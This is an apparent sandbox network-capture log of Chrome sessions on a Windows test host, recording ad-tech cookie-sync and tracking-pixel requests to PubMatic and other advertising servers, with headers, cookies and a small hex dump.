2024-04-27 22:42:33 UTC	482	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:33 GMT vary: Accept-Encoding location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNTQmdGw9NDMyMDA%3D&piggybackCookie=A4DedH0sMfRledw2RGl_v5wMrPITpJr3gtlSBi02byY&pi=pubmatic&gdpr=0&gdpr_consent= cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Sat, 27 Apr 2024 22:42:33 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.4	50560	52.207.83.244	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	742	OUT	GET /pbmtc.gif?puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:32 UTC	448	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif Content-Length: 42 Connection: close Server: Kestrel Set-Cookie: UID=207442a1-bb94-4a8f-bf37-2244d01508a7; expires=Sun, 27 Apr 2025 22:42:32 GMT; path=/; secure; samesite=none Set-Cookie: ss=8LccjJYQ6QkqTZ4KEPkW%2BOfZuXLzuc4o5wLuOLnQVrD4hEzHy7ux5iI09inT9glWv03s%2BSW5%2Fe8psarGW%2BAZ3g%3D%3D; expires=Sun, 27 Apr 2025 22:42:32 GMT; path=/; secure; samesite=none
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.4	50559	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2674	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=13603685&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:33 UTC	1114	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=3; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=159463:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1715385600%3A258_263_261_201_256_262_260_259%7C1715212800%3A257%7C1714262400%3A255%7C1714780800%3A252_265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1714780800%3A38_15_223_2%7C1715472000%3A35_268%7C1716768000%3A224%7C1715040000%3A63%7C1719360000%3A69%7C1715385600%3A240_220_234_243_264_250_21_176_178_267_71_238_166_165_54_214_233_55_249_48_46_81_231_266_13_99_22_7_96_104_3_5_56_8; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Length: 1289 Connection: close
2024-04-27 22:42:33 UTC	1289	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 73 79 6e 63 68 72 6f 73 63 72 69 70 74 2e 64 65 6c 69 76 65 72 79 65 6e 67 69 6e 65 2e 61 64 73 77 69 7a 7a 2e 63 6f 6d 2f 73 79 6e 63 4d 65 3f 70 61 72 74 6e 65 72 44 6f 6d 61 69 6e 3d 6d 72 74 6e 73 76 72 2e 63 6f 6d 26 69 64 54 79 70 65 3d 63 6f 6f 6b 69 65 26 70 61 72 74 6e 65 72 55 73 65 72 49 64 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 30 32 30 44 44 37 42 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 69 64 73 79 6e 63 2e 72 6c 63 64 6e 2e 63 6f 6d 2f Data Ascii: PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.4	50562	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2952	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=6f46b18e-04e7-11ef-8d5a-50ae062ad9ef HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:33 UTC	650	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:33 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1003=22761-6f46b18e-04e7-11ef-8d5a-50ae062ad9ef&KRTB&23275-6f46b18e-04e7-11ef-8d5a-50ae062ad9ef; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:33 GMT; path=/ Set-Cookie: PugT=1714257753; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:33 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.4	50563	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:33 UTC	922	OUT	GET /cookie-sync?gdpr=0&gdpr_consent=&bee_sync_partners=syn%2Csas%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=pm&bee_sync_hop_count=1&ev=AAERJ07MWv8AABVaVp3HVQ&pid=558502&do=add&gdpr=0 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.4	50564	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:33 UTC	3109	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=22ec7773-8e4b-4639-873b-a22ce7444b56&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.4	50565	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.4	50566	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.4	50569	52.206.182.240	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.4	50567	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.4	50568	23.105.12.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.4	50572	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.4	50571	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.4	50575	74.119.117.4	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.4	50561	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.4	50570	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.4	50578	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.4	50583	18.160.45.35	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.4	50584	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.4	50573	185.184.8.90	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.4	50577	54.236.160.160	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.4	50585	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.4	50586	69.166.1.34	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.4	50587	150.136.25.38	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.4	50588	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.4	50589	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.4	50591	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.4	50592	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.4	50590	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.4	50593	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.4	50594	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.4	50595	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.4	50596	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.4	50598	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.4	50601	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.4	50604	18.205.199.174	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.4	50599	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.4	50603	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.4	50605	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.4	50600	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.4	50607	18.205.199.174	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.4	50609	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.4	50610	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.4	50608	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.4	50611	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.4	50597	44.206.188.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.4	50612	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.4	50613	52.206.182.240	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.4	50614	172.64.151.101	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.4	50615	150.136.25.38	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.4	50616	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.4	50621	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.4	50622	150.136.25.38	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.4	50620	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.4	50619	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.4	50623	68.67.179.164	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.4	50626	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.4	50627	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.4	50624	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.4	50625	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.4	50628	150.136.25.38	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.4	50630	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.4	50629	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.4	50632	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.4	50633	23.105.12.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.4	50635	198.148.27.131	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.4	50636	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.4	50637	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.4	50638	74.119.117.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.4	50640	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.4	50639	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.4	50645	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.4	50644	34.36.216.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
